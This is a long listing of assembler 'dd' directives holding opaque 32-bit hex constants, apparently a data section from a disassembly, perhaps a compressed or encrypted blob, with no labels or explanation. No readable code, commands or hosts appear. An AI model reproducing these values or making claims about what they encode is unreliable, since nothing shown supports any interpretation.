dd 0FFEBF528h, 9676D695h, 13006173h, 65871B29h, 0A0828A54h
dd 1038FFACh, 25F58E8h, 0F77C8EFBh, 30060102h, 0E00470C8h
dd 1C01FCB0h, 4A4EDEEAh, 1C037E5h, 3A14B8A2h, 3875EDFFh
dd 0C78095A6h, 0C2E3AB54h, 8306F885h, 56A15A0Fh, 0C040285Eh
dd 0D3CF00ACh, 9C3B598Bh, 0E0B2F5C8h, 69CA0C0Ah, 0D8075C28h
dd 0DB70E36Bh, 28464CABh, 3BB4B575h, 1501C7D9h, 9412DF5Bh
dd 5587D3Ch, 40042E5Dh, 7A0BC9C0h, 0A2FA2D13h, 0E37D004h
dd 0F1FD20F9h, 2E33A147h, 8810BDF4h, 8138D871h, 4D0ABC56h
dd 0EC2C6450h, 0D93AAC00h, 0C112FF0Eh, 71FB8900h, 4DFC6FEAh
dd 28F92E52h, 64870060h, 0AEFF2059h, 1C46F000h, 49158BDFh
dd 6AD8906Fh, 24F096h, 0B93CDA81h, 0CB00DE69h, 0C3BBDCF1h
dd 668EE35h, 0E15ECF03h, 81E09027h, 0D3A82418h, 905AA11h
dd 5962A02Dh, 3C0AA041h, 0FE240018h, 4FF2977Eh, 84DF3806h
dd 0C139109Fh, 5C7636A3h
dd 0A0EC6433h, 6E04740Bh, 217422AAh, 7918C0F5h, 798371B3h
dd 6A290067h, 34D7A2A7h, 2A001F81h, 18DC9B61h, 28B2717h
dd 707AE3ACh, 9E80076Ch, 14CE01C2h, 0C49B3000h, 0A01C1343h
dd 23980028h, 3782DCD9h, 44000CB7h, 0EE12EBDh, 2E0E7A8h
dd 6E1D1BF8h, 53C3AD69h, 0B4A428A8h, 145C81E2h, 59E204CFh
dd 78804D4Fh, 0C2A0B10h, 6690E9EBh, 76165F10h, 51FC1501h
dd 8C5A1C01h, 0E496EE4Fh, 8E3FD2C0h, 80C7B817h, 574D3B53h
dd 3D2B294Ch, 1B80800Dh, 0ABAF1C5Eh, 0ED0034E4h, 0FD8DFCE0h
dd 121F4CF9h, 0A0B671DFh, 0C90B44CCh, 873DD7B1h, 0DB8079A2h
dd 0E02D7Fh, 970CDCD2h, 0A711C272h, 1F09983Eh, 0F7C3D6B2h
dd 0B13A7EBAh, 7FEC2FC6h, 636000B0h, 4C9E6FF9h, 2001C940h
dd 65DAEC3h, 842426ADh, 58BE002Ah, 7CEF5F95h, 4F038A19h
dd 0E09D60E7h, 0C3CCDA68h, 0C64C0082h, 297A0850h, 101C4E9h
dd 9E28D436h, 2870B277h, 0C080ED8Fh, 58D88B97h, 6A00DC4Fh
dd 47ABC4B7h, 2E6F0ACCh, 7C405B9h, 0E0A315D3h, 72240E9Bh
dd 2B0F8C00h, 0F3048E19h, 0AE010E4Eh, 697EFF7h, 586257BBh
dd 0C26521h, 47BE70E3h, 2F7D9C30h, 37153B00h, 4093FFA3h
dd 0FC360727h, 9089AB13h, 4D869C4Bh, 0D0EC9600h, 3C6A11BFh
dd 0BECF0037h, 915325AEh, 390052C1h, 0DB905BECh, 1E89310h
dd 0B4ABCEE6h, 80ED3C87h, 0C2B23A10h, 2E6633h, 0BF9B5A44h
dd 0F6CC7FD7h, 4B3BA300h, 8CB1C71Bh, 0C1702Ch, 9A04E103h
dd 0D7D02BEh, 0CBD24200h, 0F741E579h, 6B9B002Ch, 90C8352Eh
dd 9107570Ch, 0EA67C42Ah, 0A302F430h, 8824071Dh, 0F0CE341Ch
dd 982F939Eh, 802A223Fh, 991086F3h, 3B3DCF0h, 0B6C4C9A7h
dd 2AB89CE3h, 9D3AB59Fh, 8639BC8Ch, 0D0C759F1h, 0FA4913F4h
dd 1D8F00D3h, 0F7BF9783h, 2ACCDF00h, 9DC7BAC8h, 0DDFE0F43h
dd 0C141FD7Ch, 340BEE23h, 4EF6A37Ch, 0C4495500h, 0A461E4CAh
dd 7EB70963h, 2003916h, 8D198310h, 0DE5B7100h, 863714CFh
dd 3EEE058h, 0AA7BE384h, 5177B096h, 0FD598A1Fh, 60C23A00h
dd 72D347E7h, 83E43F86h, 0B28097h, 0FED95A3Dh, 980074ACh
dd 364A6AAEh, 74782E2Dh, 30D826B1h, 0EE8D00A9h, 0E1DEE804h
dd 0EF150D00h, 938106B9h, 521900F9h, 26FEA0E6h, 111FA584h
dd 0FC405D83h, 0F486DEDCh, 0C39D004Bh, 57DA92E9h, 67002418h
dd 1A2797FEh, 13213ABh, 283F1420h, 0D6959285h, 91ECB0C0h
dd 8FCED438h, 81800Bh, 38C4DB23h, 9A85000Ah, 0CAD13BDFh
dd 0C73C20FFh, 1A1E9E25h, 1276C9C1h, 1C328F2Eh, 0B7FB6002h
dd 2CC0D707h, 1B0018C9h, 308D8A56h, 0F522350h, 0B7C4FAEAh
dd 0AE84036h, 0C39FFB42h, 7581B101h, 1EBCAA3Ah, 0AEF7D8h
dd 11F270CEh, 0F8CB5A0Bh, 3D0B000h, 3C326CDEh, 0CC9084h
dd 836F7673h, 9BBA6E70h, 62100C00h, 51C12EADh, 2D190090h
dd 0ED14A923h, 0B5EEF0CCh, 0BA337F01h, 4D8BAA7Ah, 99001028h
dd 0CDD63CD2h, 89004E23h, 0A0588C32h, 99DA73Fh, 0CF70F8DEh
dd 0C4098440h, 872F7612h, 69BA8E07h, 0D05D76h, 4D90D814h
dd 0CFA5890Eh, 5E725805h, 0F8C0B005h, 0A878EA4h, 0EEA7C7DFh
dd 485200E0h, 0EA649D41h, 0F7D99503h, 834AA86Ch, 0FCDA9844h
dd 2641FE91h, 0D099B1h, 0B633782Ah, 1903378Dh, 0C3DDFC7Ah
dd 7390AF57h, 39271EBEh, 0B8E1229h, 58A29119h, 69C098A9h
dd 3E2E4913h, 6100844Eh, 8D290A10h, 41985Eh, 156A5AE9h
dd 8ABF3E96h, 4B758C09h, 7B0700Bh, 0FDEE0681h, 9D8E3321h
dd 0F758EB88h, 5CFACB2Eh, 74702027h, 0B4566F79h, 118A009Ch
dd 0BA802327h, 720317FAh, 63092503h, 29FAD04Dh, 6B593C83h
dd 70AD4F8Bh, 1ACC8C00h, 0DB26346Ch, 0E100B6ECh, 772F7FBAh
dd 367FEDh, 523ACB66h, 58E41EAEh, 3ABEBF3Ch, 5CC00F9Ah
dd 99B9002Eh, 1F1980h, 36D9D60Dh, 27FEB668h, 588F5C00h
dd 0DBD23B45h, 0C3A900BEh, 927C85A6h, 0A40070ACh, 0B367A0D6h
dd 0BEED4Ah, 0E9CF152h, 0FBE7182Ch, 5BE5E300h, 0BF3DC991h
dd 0F81501AAh, 0FF2C4146h, 0F6D3C09Ch, 0D15E0C07h, 33719F0Ah
dd 0D70D26Fh, 0B872E6ABh, 0E6030027h, 45B0365Eh, 22018DE0h
dd 0FDB70135h, 2BC07Eh, 583C0C5Ch, 3600F968h, 0D8C4A80Ah
dd 3C15016h, 0C529E611h, 0C7A760AFh, 46F5C0E0h, 0B400F7C2h
dd 0A59743A9h, 5A84C61h, 0D12911FCh, 0AFF480F1h, 0BD03677Fh
dd 2A4639ECh, 9692077Bh, 0D4758D48h, 5C74F09Fh, 0C3443000h
dd 512283BBh, 3AFF00B3h, 0BCF7EB2Eh, 4C00ADAFh, 0FC19DD46h
dd 94CC9Dh, 5E242D52h, 6E92F6DCh, 0C53A48h, 916304B9h
dd 130EFD3Dh, 0A253DFC2h, 88DA2180h, 5047646Ah, 92124E45h
dd 813558F4h, 0BC273AE1h, 0DC3382EEh, 0CB28A450h, 62C231h
dd 5163BAh, 5A205BCDh, 260E2DA9h, 0BB7D8500h, 0D3A6E0A2h
dd 0EC9D0098h, 0BD417AC2h, 300062A4h, 96DE5612h, 1257B2EDh
dd 0BA030ADBh, 0B5D34C02h, 0E1C07459h, 2207D1h, 0E2C50Bh
dd 9805630Ah, 0A2A9422Ah, 0A4176B00h, 0F4EB1595h, 0ABEA03D6h
dd 0B6E4D2C1h, 50121CF9h, 0E15693BCh, 0DE88DC54h, 0A5BC8CFh
dd 0AE007452h, 0C11A8434h, 26110004h, 48645958h, 894CAFD2h
dd 504A0BB9h, 78B20030h, 0DDC051h, 0C7D0275Dh, 96B46C7Dh
dd 53056E7Ah, 7B2F2EE2h, 716180EEh, 8E0052F6h, 6F78C541h
dd 21A3A2Ah, 0B9E20466h, 0C0DF4B0Bh, 0A78704h, 0FABDC5D8h
dd 2B1135FCh, 237C7E03h, 0F8E6E120h, 90D39ACFh, 0FA890096h
dd 0A2E4216h, 5300C15Eh, 3EAC78CCh, 0FE94BAh, 0E2055A15h
dd 0E52237EDh, 0B9006CF4h, 74629FCh, 0FA3B648Dh, 0FF5E0023h
dd 132D8B15h, 98009BD6h, 11F61888h, 1EB38712h, 0C17AEFEBh
dd 222E164Ah, 2C8261CDh, 58F71E1Ch, 8903FC68h, 0A1161070h
dd 0C9A371h, 22413821h, 1AF485F9h, 0EC8AEF0Ch, 8CCC4968h
dd 0D634A979h, 24484015h, 52D7809Fh, 0EF962622h, 0B8C5ED00h
dd 0AD161866h, 0F3A72893h, 3B67DF0h, 0A5336D69h, 7AAE5682h
dd 9483DE5h, 0F2AFE15Dh, 7E9D006Ch, 89BBEA53h, 0A31D0330h
dd 801937D1h, 53D4A621h, 0E0C10016h, 0F9D8291Dh, 9360FE47h
dd 327891C0h, 0BA130F4Dh, 54C22358h, 3090E25Dh, 0E5115385h
dd 968881BBh, 52CDFF80h, 5015B0F9h, 7E58801h, 69396EA7h
dd 3A7DA016h, 0BA065E02h, 0E4616689h, 0E57064h, 29D084A9h
dd 3435687Dh, 9FA7BE00h, 0AE94B0D9h, 0C78B00D6h, 83C4DDF8h
dd 0C800D41Ch, 34AB57A3h, 0C2FB8Fh, 0E9242ACEh, 0C96D1FA6h
dd 0A7A3CF00h, 116E4F63h, 1C080019h, 0B5AA9A35h, 403BA8EBh
dd 69260058h, 56DE8A49h, 44F41Bh, 2AA325DCh, 7447D572h
dd 69B9A807h, 0B1D7CFDFh, 93F7DA40h, 0D92C0089h, 74290364h
dd 7100D259h, 0A6885A0Dh, 7F57F63Ah, 7E2C0F28h, 78033430h
dd 18003ED4h, 0BC9219ABh, 3C9C1B1Dh, 9F9CF36Eh, 917680A2h
dd 0A553A613h, 0AD00A874h, 931569CEh, 7653309h, 0E22639BDh
dd 6B7B12ECh, 0DCFE10C1h, 0DD09C144h, 8E96B1FDh, 2A0A0017h
dd 0F4660Dh, 761C3DC5h, 6BD6995Ah, 77AA1D0Eh, 292674Ch
dd 707B4BE1h, 48D59CCh, 322369C4h, 0B91280A7h, 4E01C6C2h
dd 949ACE74h, 3B31A271h, 0B19430h, 0C255C745h, 82FB1E4Eh
dd 0AE0A370Eh, 52CC9FFEh, 1F5DC890h, 3CAB6693h, 86D43A07h
dd 0F5F4A04Fh, 0B33A5381h, 49599D17h, 11C0E75Ch, 0B5E8656h
dd 5C7A00D5h, 0F962FBFEh
dd 1C001989h, 2BFF7924h, 0C79F8BA7h, 73205240h, 7DF0749Bh
dd 0CBFE895Dh, 73AF9800h, 34284035h, 27DC05C1h, 80C64D94h
dd 6049E89Bh, 9F00DE7Eh, 96EC225Bh, 71BC9Ch, 0FCEABB64h
dd 0FBE11D2Fh, 0D58F0306h, 17485852h, 1AD2F6h, 0D1209372h
dd 0C93E762Bh, 0A9360EA4h, 0AABC1347h, 0DA1F0F01h, 0ECADE9A6h
dd 0F2003B03h, 0CE1A4FD9h, 1F3366BCh, 40441B02h, 0F65DB93Dh
dd 6E0057EDh, 0DA6A404Dh, 33A0C8Ch, 9BFB43A6h, 33C05031h
dd 40005668h, 0F718ED9h, 0ECF8AFEh, 11F0FA72h, 1FD7C080h
dd 0B70084F4h, 0B13121D4h, 3B61410Ah, 8B0042C7h, 7FF91198h
dd 0DC388997h, 49685F7h, 0F40035DFh, 264D1356h, 3D0F678h
dd 5CC397FBh, 0ECC065D3h, 7400EEB7h, 160CFE1Ah, 7D0E604h
dd 41251F9Dh, 7AAA60FDh, 37003D8Ah, 2F18EC68h, 50249F94h
dd 2259C43h, 0E9983BDCh, 88AACBF1h, 99C001Ah, 75067B2Eh
dd 0DA322700h, 1DDE85B8h, 371600F1h, 171B52B1h, 24003861h
dd 187513E6h, 1F264433h, 4783CB68h, 40AD57B8h, 8258B423h
dd 0C7EAB000h, 0A2EF9B2Eh, 96AC006Ch, 2A260FB1h, 71041C5Bh
dd 77F4C3FBh, 517D097h, 4B434FE0h, 0F7C907C1h, 117015CFh
dd 0E0CE0348h, 1EC7BEDh, 372AD800h, 7C89D5E6h, 46990018h
dd 0D7402B14h, 1074221Ah, 2C8C70Fh, 201BA947h, 0AA609F14h
dd 67E4D2h, 0CCA87708h, 0B4466E84h, 0FD46301h, 991E0765h
dd 5651E8F3h, 4FC302F9h, 11DF060Dh, 7BFD4840h, 4CE73C3Ah
dd 2D341F28h, 0A880FB1Fh, 0DA976495h, 3E7A142Bh, 0F5009002h
dd 0CC45C02Eh, 1B704146h, 25909700h, 42B35094h, 5FD3139Eh
dd 0CFA1057Dh, 380086B9h, 7F375200h, 0CDF384Ah, 8E25002Ah
dd 485BB6BFh, 0DE303320h, 0D4B2827h, 7A807F6Dh, 32B01EA8h
dd 1082C099h, 29D2506h, 24FC3A00h, 7CB1D65Dh, 74A80721h
dd 0CC6764ADh, 4D031F58h, 118E7861h, 177AC039h, 7C6A0089h
dd 0AE3CF1ACh, 38003D80h, 5F201F34h, 0B84D0F8Dh, 0A5F21443h
dd 7C30A350h, 45B27B31h, 0B8232B00h, 0E6D99EB0h, 0B8C374C6h
dd 3D4D0015h, 0BFCD0EF3h, 0C501390Ah, 2E861256h, 93E01F06h
dd 27EF0008h, 0CF0F2078h, 4678D28Dh, 9A25D5Ch, 299BBFh
dd 30AFCEFCh, 0D64E00AEh, 2256A88h, 14013124h, 0C05ACCC9h
dd 0BAF48727h, 2C7B0703h, 0E0D354B9h, 4F80F2FFh, 0C7914400h
dd 0D73BF95Ah, 0E9B50026h, 1CEE86D2h, 0E10C4946h, 98D6DF2Fh
dd 0D9DA0044h, 173CE590h, 0C3001E57h, 31D7828Dh, 98BFAE40h
dd 768C007Ch, 0C6A9FC03h, 6D24D443h, 0AE006835h, 18F0F974h
dd 4628C03Dh, 0CC59E8F2h, 72F68507h, 8C20B6B5h, 481447h
dd 3B57CF0Dh, 8981370Ah, 158E3Ch, 0E52F9AF0h, 4A32D380h
dd 86DB003h, 0A41CC400h, 3CC2E3A3h, 76432684h, 437C1D8Ah
dd 0B7EDBAAEh, 5353688h, 0C8777300h, 810B4F8Dh, 29F0E567h
dd 58F8E3h, 4112A527h, 46ED1302h, 660EDF0Eh, 1CCB3CFDh
dd 0AE9C2122h, 83C8D5C3h, 0AF2A0024h, 0E4EA820h, 0A200964Bh
dd 0F5E4BD86h, 75AD95Dh, 5012F9B8h, 60A34053h, 0A6004A7Dh
dd 58886465h, 6295Dh, 0B86A5087h, 0D2A2257Eh, 85613803h
dd 25670C8h, 32A90520h, 286153AAh, 7691D0B8h, 66312307h
dd 0D59057BDh, 1E41ED9h, 452E2C6Ch, 0F4A1399Ah, 930069E0h
dd 6879BBAEh, 60AF2DB0h, 0E32C9407h, 0B101536Ah, 0FA6BD8E4h
dd 39D890E5h, 78687C61h, 0F597078Fh, 0D0F4B9D2h, 0CD04D9E3h
dd 0F27F1E03h, 804B49E6h, 321458h, 0CEEF4ACh, 0FB163080h
dd 0AF38ED01h, 5F6A7406h, 0B999C0h, 6C692CADh, 0A2BEB309h
dd 3E949748h, 489802Fh, 0B8F74DA3h, 0E0C53FA8h, 0C1FE3601h
dd 30FFE1BFh, 1A0B43ECh, 30D065h, 7E5C2447h, 0EE3A0023h
dd 0CDB91C9Fh, 8200C7C3h, 140580BAh, 513B2Ch, 78DAF81Eh
dd 0EEF001DDh, 903FAE0h, 0D65BBA87h, 0DB89C8F9h, 20FB0072h
dd 378574Ah, 140036C6h, 30EF4BFDh, 6FBED2h, 8584D60Ah
dd 4C35700Bh, 61C421C0h, 0F45AE5D8h, 8F5001EAh, 0E2D35D7Ah
dd 911424E9h, 3F63BC00h, 0A467EC35h, 0FE80E19h, 0FA205597h
dd 0C86189A7h, 2CA8ED00h, 0A3D02BBAh, 46EF00CCh, 9B1E6326h
dd 5400E197h, 7E15078Bh, 867775h, 7FD1E90Bh, 896A1079h
dd 0DC9D2F0Fh, 7D9FA03Dh, 0C1344C6Fh, 62304280h, 0D5CC3056h
dd 0B97A1D16h, 0A577E100h, 50CF7175h, 26E31074h, 6454C4Fh
dd 282377B3h, 485894E6h, 62210F94h, 0E04963B2h, 0D2100340h
dd 37BF158Ch, 7605BC7Fh, 0B7E84248h, 40CF9EC0h, 38A72AC1h
dd 1D217E84h, 17EDCE8Ch, 3F5841ACh, 64EE0C45h, 14007D1Ch
dd 566DA567h, 507CD64Fh, 1E87084Ch, 412F445Ch, 0CBD94658h
dd 595C41EDh, 0D2518052h, 2F4A584Fh, 7014AEE4h, 0C8E0D8E3h
dd 6A078377h, 0B6F71CE1h, 8FBE0EE0h, 0A31300DCh, 3B28E9D0h
dd 0C8001A19h, 6285FAFFh, 518DB1h, 0B71ED70h, 0E0ABA932h
dd 0F1163100h, 0EEF35F4h, 7107FC5Fh, 1E614h, 3E6DBCEEh
dd 0D4A29DCDh, 0E7D67A01h, 8FE6C46Ch, 17FF5E4h, 0DB016169h
dd 50069C25h, 40493E84h, 979FCB00h, 812BBF4Fh, 1EF700A3h
dd 9EFBC360h, 33284939h, 7B00A81Ch, 344EE1D9h, 30288EC9h
dd 0A6F1599Ch, 0A70563E0h, 3FCEAAB2h, 68B9C440h, 3CEB6176h
dd 88003E16h, 0D2A9F1FFh, 70003197h, 0CF6D9BBAh, 55EE81h
dd 167D40A5h, 0A6670390h, 0D0E79F8h, 0B648B147h, 78A4E507h
dd 6227CA40h, 42A04B5Ch, 1A6AC32Ch, 0CDD78077h, 0C9FB917h
dd 58231835h, 7FF47DA1h, 9B3DAD00h, 4E6280CFh, 795C9218h
dd 0B5A60013h, 3F525F74h, 0FC010FD1h, 0B10AD7AFh, 7DEC570Bh
dd 11680115h, 6D191AF7h, 95A050F1h, 48C02B8Fh, 5B720647h
dd 0A64D0089h, 3D17F2D9h, 0A830706Dh, 0D14938F0h, 5D0607D7h
dd 0B34BB5C5h, 22D02817h, 0B300DB1Eh, 3B5EC16Eh, 5BDE63h
dd 23F366DAh, 3E214385h, 4C6C5900h, 1D164B3h, 71460082h
dd 0DB51C69Eh, 170F4986h, 40BCBA53h, 2C6B48A5h, 2DC80FCAh
dd 6A8110CEh, 30036731h, 0F40FBBC1h, 406CBF47h, 81D1DAA6h
dd 1CA57B0Fh, 0C09EC41Ch, 0EE2E1921h, 1DEC6E3Bh, 0A6FAA7FCh
dd 4C00ADFAh, 0DA481F24h, 1C73275h, 1386878Dh, 0E16D18A1h
dd 970460DBh, 0F2C60F01h, 0D466396Fh, 463D094h, 0B3B8ABh
dd 284484CFh, 0D5B1BB8Ch, 7E0618ADh, 1106C9Ch, 0F45FDBCh
dd 60447ADCh, 0B2005DD9h, 146B2FFCh, 65EE67Fh, 8CBD63D9h
dd 0B842291Fh, 6AD26E08h, 6F8E3210h, 0C6C2111h, 0DE512D73h
dd 83911F3h, 1115C011h, 8615D6ADh, 2B702943h, 28423489h
dd 763C854Dh, 1E961404h, 0A9422848h, 230224D0h, 9C44C4D5h
dd 9AD34610h, 64AE50A1h, 0F015448Bh, 0E1E029C1h, 9CFC92C6h
dd 3F561CBFh, 4CA6402Fh, 9B8ABE38h, 0FFE6FA90h, 0D5A7CC00h
dd 0B75059A8h, 70BC7EE5h, 6841003Ah, 88BDE45Fh, 0C0CFFC8Dh
dd 228560E7h, 1F0642EBh, 0CFE42695h, 0C3A02AFEh, 80166669h
dd 0A7079973h, 838994CDh, 0C0F69FF2h, 3F8E406h, 0B8755CA0h
dd 0AEC90DC3h, 8F89C8C1h, 884E9B00h, 0FDD28DD4h, 0B2766Fh
dd 5814A235h, 0CF159693h, 9B0A6D00h, 0A33D366Eh, 0CB453EBBh
dd 0C380AEB8h, 42DD18E6h, 880029DBh, 7BBE6A0Ch, 2F0133h
dd 57529C02h, 0B2DA5C36h, 0FAD81001h, 62B10E93h, 788930h
dd 4B999465h, 4551EC92h, 8C2CCF00h, 0F84E6C7Eh, 9CDE289Dh
dd 566A0093h, 7C691693h
dd 1E600C46h, 0BA82AD5Eh, 860D4C54h, 0D473D900h, 923AA8C6h
dd 0BB00F9B0h, 0A13648FFh, 1B4BD91h, 51A47FBEh, 0C49C505Bh
dd 674809A6h, 896D3A78h, 9B9138h, 10981B45h, 6ADF062Ch
dd 0A2FE312Fh, 4A5FA21Eh, 0E9D17240h, 3CE36F81h, 0D8000908h
dd 0ACBF896Ch, 5B006D29h, 841DDD3Ah, 523F37h, 4EBC1FB2h
dd 3D7A39B9h, 0BA1C8100h, 9ED44CA5h, 0D8DC0790h, 20598636h
dd 0AB296003h, 0C8757D00h, 0F0B213F2h, 12D90041h, 453A1BCFh
dd 9700B4FDh, 56A165E5h, 0F820DA01h, 0BD310EB0h, 0C802C24h
dd 0DED9BEBh, 42506800h, 1417C64Dh, 8CD0030h, 0C243615Ch
dd 64F2A5E0h, 48896600h, 0AA598A06h, 2676073Ah, 300CA317h
dd 98FFF9Fh, 0F9532900h, 53D2FA0h, 73190024h, 44E132AFh
dd 9500500Fh, 9D11812h, 0EE11D7h, 40564A4h, 4A3DD9DEh
dd 0E6B1D00h, 0D007765Dh, 0E6370002h, 0B9104B9Bh, 0ED00D908h
dd 17EC56EEh, 0BACE0A4h, 2B52B0D2h, 6337E4E0h, 0E71E840Fh
dd 33E18059h, 0F8FC5Ah, 0D10DDD11h, 0F4E6B480h, 0B8AC4F00h
dd 0EBC32A8Bh, 0B27237h, 6BA50715h, 9A65C689h, 43B94B00h
dd 0EE7EBE6Dh, 0E6DF0026h, 0E1FAFE48h, 717220DCh, 7997FF00h
dd 0B935CF25h, 7878A1h, 0CB484D63h, 9F584FC1h, 0CEDB9B17h
dd 50A2ACA0h, 15D0B8h, 5FED7932h, 0F6AA1CD1h, 0C0475000h
dd 0C3951FDFh, 69B90387h, 464E0ACBh, 17D09DC3h, 60E49649h
dd 97133D00h, 0C0D6B8E3h, 0FA9106BBh, 0E84A2310h, 8690FD54h
dd 9442F206h, 184C1Ch, 67D9810Bh, 8E8B920Dh, 0A353826h
dd 63018717h, 0EFC1DA53h, 4A4DA081h, 41E31EA9h, 0C4488FB0h
dd 0CC3CF02Dh, 0B4DB00CBh, 0EE1211F5h, 0CEA700D8h, 70937B41h
dd 0BB0014DFh, 472E51F0h, 1273A90Ch, 0B5552Ch, 0ED25456Ch
dd 24E0F7D7h, 0F868A41Eh, 0C00E452h, 0A2E9214h, 931500C5h
dd 205FA986h, 7900D809h, 0ECA52247h, 32F246h, 66B2FB12h
dd 2059285Bh, 0B443D400h, 4070537Eh, 8EF7539h, 0B65BF196h
dd 56810200h, 1BBB2h, 8B0FE0F0h, 65E1C27Eh, 0FCD25250h
dd 0D6680900h, 0A679D347h, 58500A8h, 98C37F51h, 0D91ED114h
dd 421CFEDEh, 886786C0h, 0EAD79Eh, 0B1540D4Eh, 0FFB22C91h
dd 0A7965E05h, 0EC003B63h, 0A3BFF08Ch, 380C00DEh, 77B35C25h
dd 18017CBAh, 0C4844D31h, 40F4598Ch, 0B075006Ah, 1D37D53Dh
dd 2828741Bh, 8575BCFEh, 0CF7A7900h, 204EC267h, 66C8A8CDh
dd 0D9310E62h, 9127CEF5h, 508D03E8h, 0FDC895EBh, 20329312h
dd 0C0FA6049h, 30FB4Ah, 26CFEC9Ch, 0ED3A4552h, 0D6D26900h
dd 9A441E36h, 0C2900022h, 5F5D9930h, 6900CEDDh, 508EEDADh
dd 0AC915h, 0F1664298h, 4B5BB52Bh, 3BC62100h, 23C8DBD4h
dd 0C74900CFh, 2F52FC26h, 0FF00484Ah, 7FD68D2h, 0A61E20h
dd 3C77997Fh, 3D560911h, 32B68607h, 4751432Fh, 820E7EAh
dd 0E6591F8Dh, 1E8CE44Fh, 3CD88242h, 1860EF5Ch, 0E20056F4h
dd 0CAAF3D6Bh, 5DF7B4h, 238B8743h, 63B2DDC0h, 95EA8C00h
dd 699141E3h, 829700DAh, 428D48EBh, 83003086h, 0A3774313h
dd 0E5C9C5h, 57D58A58h, 75F81C2Dh, 0B03C2A7Fh, 70B86AAh
dd 30A8641h, 0BC8BCC79h, 0BDF858F4h, 59007DD8h, 996D144Bh
dd 689E8Eh, 1CC73752h, 0CFB5B279h, 0F79FE70Fh, 0EA12A73Fh
dd 0D90AEBA0h, 0EDD0074Ah, 613C330Bh, 40C18388h, 39CF3EB4h
dd 0DBAE7107h, 73605482h, 94B64DEh, 0D5E856A6h, 0C78A5420h
dd 0C000DB52h, 0BB46A239h, 0E6376996h, 0B5EA0001h, 4BF893BAh
dd 0AC00877Ah, 0A0F5CB19h, 4C5D0F5Ah, 0E90908E6h, 4C80D9A8h
dd 0CF4A94FDh, 0F6726E00h, 4DA531ACh, 0DDCD00A1h, 0E7C038C7h
dd 0F41E4355h, 30C05DE6h, 0DA0737FBh, 23660046h, 48FD583Ch
dd 67008FD4h, 17DC4ACCh, 36805CAh, 227532C8h, 14C9A395h
dd 6F99E37Ah, 0F49DC861h, 2B13B700h, 64AB0677h, 0C0BD0024h
dd 8734117Bh, 8FFCA0A3h, 4AF23D58h, 0B33B06BCh, 0E8F2D900h
dd 0A127E073h, 5B1D78E8h, 0FDDD32h, 0FC4BD558h, 8764DBh
dd 1BF8F155h, 197D97EEh, 0B06A675h, 0D8BBB069h, 0F95800FAh
dd 6484E826h, 5A01F60Ah, 0E408BD6Eh, 0A8211BAAh, 52BE30h
dd 0CDE5DD86h, 5D93A362h, 0E1108700h, 96D776D9h, 51F00Ah
dd 1EF14643h, 0A7DFD51Ch, 0CD5F7700h, 0A83EA416h, 0EFBC00FFh
dd 0AF7AB4D7h, 26018B60h, 47BACFD0h, 0F07E78B7h, 41007797h
dd 2D6CBF10h, 0F5AF59Bh, 0B1AED1F0h, 900C007Eh, 9167988Dh
dd 0A357DA07h, 41B037FDh, 1DB9FCD5h, 0C071EBC8h, 1F176E06h
dd 0CD00F99Bh, 24E41590h, 3D3EBF7Ch, 0E1C83BC9h, 0EA1F700h
dd 95AA0651h, 94376100h, 422AC2D1h, 289E7229h, 0F4F4F54Ch
dd 5B530020h, 0B5261F1h, 7F008083h, 400DA014h, 0AB4FA5h
dd 6AC837DEh, 0C26C514Dh, 2B5F9100h, 3302881h, 3F7D05EAh
dd 0E90D56h, 0D2A874F8h, 4200DF87h, 6CA1205Ah, 949C5D9h
dd 4AEF81BFh, 0B1E3D200h, 2001AFAh, 77E6420Eh, 18515Eh
dd 0FEB9D247h, 8AB7D84Eh, 21715500h, 0EB7AE54Ch, 1431EEBEh
dd 0AAE20923h, 0B0A05D00h, 59BBA6ABh, 83BFE900h, 53E8DF3Ah
dd 3163073Fh, 402EE4A0h, 0EC6ED618h, 0F601FF7Bh, 4CA3D0B6h
dd 0EFC82C45h, 347BFCh, 0C11D57DEh, 69FB53B3h, 0FDB2771Eh
dd 0A3671C40h, 7665FEh, 10611F9Dh, 386F0D70h, 32A8BA00h
dd 6C420589h, 2C9006h, 22E56D30h, 5DA2CEA9h, 0F0484C00h
dd 0AEDACC23h, 67401D41h, 0CD0D8FFDh, 25F31820h, 74003349h
dd 4B7234F4h, 9ECB12Fh, 843B3D4Dh, 80AECB04h, 0B40B622Ch
dd 0C3E31300h, 5F619611h, 0FC3C00C5h, 0C1A1214h, 6DB8E6C7h
dd 0B579E02Eh, 67479030h, 4FF62639h, 902500C0h, 9B66663h
dd 89000E70h, 834E852Ah, 0A16958h, 0AF91E556h, 0BAD5956Ah
dd 7A245D0Fh, 4AC2C05Fh, 4BEED02h, 0D16EA3E5h, 0D76AC020h
dd 4F00CB12h, 0D529BCF2h, 9A6856h, 0EAE9BFF3h, 361C1718h
dd 4C4EB900h, 420BD965h, 0CC903A83h, 8FAC890Fh, 12DF9A40h
dd 7400A334h, 990DC19Eh, 7A58B01h, 0EE59C4E7h, 4D5861D9h
dd 8E8DECF8h, 0A6D75100h, 0CEBC4605h, 0A07AF616h, 7819CCB4h
dd 42A803DAh, 5CC46CA0h, 8FEF801h, 156DB0F9h, 0CCA560h
dd 12A49FB1h, 892941E1h, 0B9948000h, 0E4920149h, 0E2FB390Dh
dd 9657FC80h, 2AC0D5F0h, 2CF37500h, 0C5B19439h, 17C09890h
dd 0F1E035h, 7A02E41Ch, 67007862h, 0A5F6C22Bh, 70DEB534h
dd 0ACDA0156h, 7C04124h, 9FFF303Ch, 658F4500h, 3B621B42h
dd 0F8D53955h, 0FE8EBBh, 9A548573h, 0B132C6C1h, 7C843Bh
dd 0F2918966h, 31EC10h, 44DF0848h, 8D0D647Ah, 0B1264F00h
dd 5B10DB42h, 1CD1013Eh, 2E77307h, 166FF0FCh, 8A97A200h
dd 0A7047B47h, 44350058h, 344F2B41h, 6D00F148h, 312D80DBh
dd 0BAAFA56h, 9F1CCE33h, 1A63E100h, 0E300244Fh, 475983B7h
dd 106AB05h, 0D4E69E12h, 80AE182Eh, 0BDE39710h, 0E0959B74h
dd 0CE23391Eh, 5BBB7780h, 0C97825CCh, 6926B502h, 0E8D63DE3h
dd 0F6A9BC10h, 0E7600B3h, 0E8F14D88h, 100B2B8h, 0E6299D32h
dd 3FB8C51h, 3881CB71h, 8FE89336h, 0AB492CFFh, 1A238004h
dd 63885Fh, 0A2B5280h, 0D87B0BC9h, 283EB603h, 0A057CD49h
dd 9AD64F3Bh, 731F0918h, 0FCFC8D71h, 0CB000826h, 0D29DEF23h
dd 0B746006Dh, 0A40AD940h, 1E003F6Ah, 0D33D9C66h, 88E650h
dd 0AB91CF1Ah, 0D17A198Eh
